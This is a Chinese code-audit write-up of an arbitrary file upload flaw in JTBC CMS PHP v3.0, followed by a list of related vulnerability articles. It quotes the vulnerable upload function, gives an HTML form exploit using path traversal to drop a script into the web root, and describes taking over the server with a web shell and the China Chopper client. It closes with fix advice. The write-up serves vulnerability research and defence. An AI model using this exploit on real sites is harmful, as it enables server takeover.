【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析
0x00 环境准备
JTBC(CMS)官网:http://www.jtbc.cn
网站源码版本:JTBC_CMS_PHP(3.0) 企业版
程序源码下载:http://download.jtbc.cn/php/3.0/PHP_JTBC_CMS.C.zip
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/console/file/common/incfiles/manage.inc.php 第212-241行:
- public static function moduleActionAddFile()
- {
- $tmpstr = '';
- $status = 0;
- $message = '';
- $path = base::getString(request::get('path'));
- $pathRoot = smart::getActualRoute('./');
- $account = self::account();
- if (!$account -> checkPopedom(self::getPara('genre'), 'add'))
- 10. {
- 11. $message = tpl::take('::console.text-tips-error-403', 'lng');
- 12. }
- 13. else
- 14. {
- 15. if (is_dir($path))
- 16. {
- 17. $myPath = base::getLRStr($path, $pathRoot, 'rightr');
- 18. $filename = @$_FILES['file']['name'];
- 19. $tmp_filename = @$_FILES['file']['tmp_name'];
- 20. $newfilepath = $path . self::ppSetFolderAndFileName($filename);
- 21. if (move_uploaded_file($tmp_filename, $newfilepath))
- 22. {
- 23. $status = 1;
- 24. $account -> creatAutoLog('manage.log-addfile-1', array('path' => $myPath . $filename));
- 25. }
- 26. }
- 27. }
- 28. $tmpstr = self::formatMsgResult($status, $message);
- 29. return $tmpstr;
30. }
这段代码中,获取path参数,拼接成完整路径,然后将文件上传到服务器。
并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。
0x02 漏洞利用
1、登录网站后台,然后构造Form表单:
- <form enctype="multipart/form-data" action="http://127.0.0.1/console/file/manage.php?type=action&action=addfile&path=../.././" method="post">
- Upload a new file:<br>
- <input type="file" name="file" size="50"><br>
- <input type="submit" value="Upload">
- </form>
2、成功上传脚本木马到网站根目录,且文件名未进行重命名

3、通过url访问脚本木马地址,执行脚本代码

4、通过菜刀连接,成功控制网站服务器

0x03 修复建议
1、通过白名单限制上传文件后缀
2、禁止上传目录脚本执行权限。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析的更多相关文章
- 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- PHPCMS v9.6.0 任意文件上传漏洞分析
引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...
- phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)
phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...
- 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- phpcms v9.6.0任意文件上传漏洞
距离上一次写博客已经过去很长一段时间了,最近也一直在学习,只是并没有分享出来 越来越发现会的东西真的太少了,继续努力吧. 中午的时候遇到了一个站点,看到群里好多人都在搞,自己就也去试了试,拿下来后发 ...
- 【代码审计】BootCMS v1.1.3 文件上传漏洞分析
0x00 环境准备 BootCMS官网:http://www.kilofox.net 网站源码版本:BootCMS v1.1.3 发布日期:2016年10月17日 程序源码下载:http://w ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- UEditor编辑器两个版本任意文件上传漏洞分析
0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...
- [转]UEditor编辑器两个版本任意文件上传漏洞分析
0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...
随机推荐
- 关于网页游戏断线重连的思路和demo求助
http://bbs.9ria.com/thread-146997-1-1.html —————————————————————————————————————————————————— 1:俺有什么 ...
- Android-FragmentPagerAdapter刷新无效的解决方案
按照通常使用ListView的习惯做法,如果你只是更新保存Fragment的List数据,然后调用adapter的notifyDataSetChanged()是不会起作用的. 搜索了下发现此问题普遍存 ...
- 解决在IE浏览器中JQuery.resize()执行多次的方法(转)
最近在做前台效果的时候用到了JQuery提供的resize()事件.resize 这个事件是监听浏览器窗口的放大与缩小,也就是说浏览器窗口大小的变化. 我在W3CSCHOOL上面查阅的时候,提供了一个 ...
- 【转】一个小妙招能让你在服装上省下好多rmb
朋友们,你们仔细算过自己每年在淘宝上买衣服消费了多少rmb吗?100?1000?10000?甚至更多? 朋友们,你知道淘宝上大多数店铺的衣服是哪里来的吗? 朋友们,你知道怎么在这上面能节省更多的mon ...
- [转]Android精品开源项目整理
前言: 无论你是android的初学者,还有是android开发多年的高手,可能都会有很多想法和经验希望与人分享交流,渴望能够接触到更多的实战项目,正所谓所谓与高手论道才能互补所长,与英雄 ...
- selenium+java-查找页面中包含关键字的URL
package seleniumLearn1; import java.io.File; import java.io.FileOutputStream; import java.io.IOExcep ...
- Apache Flume 学习
Apache Flume,又称Flume NG (next generation),前身是Cloudera公司的Flume项目 -- 又称Flume OG. 这货的功能就是从源中将数据收集到指定的目的 ...
- 精心挑选的HTML5/CSS3应用及源码
这段时间我已经为大家分享了不少关于HTML5应用和jQuery插件了,先来回顾一下: 炫酷霸气的HTML5/jQuery应用及源码 干货分享 超炫丽的HTML5/jQuery应用及代码 绚丽而实用的j ...
- thinkphp中的类库与引用import引入机制
ThinkPHP的类库包括基类库和应用类库 控制器类 模块名+Action 例如 UserAction.InfoAction 模型类 模型名+Model 例如 UserModel.InfoModel ...
- opengl deferred shading
原文地址:http://www.verydemo.com/demo_c284_i6147.html 一.Deferred shading技术简介 Deferred shading是这样一种技术:将光照 ...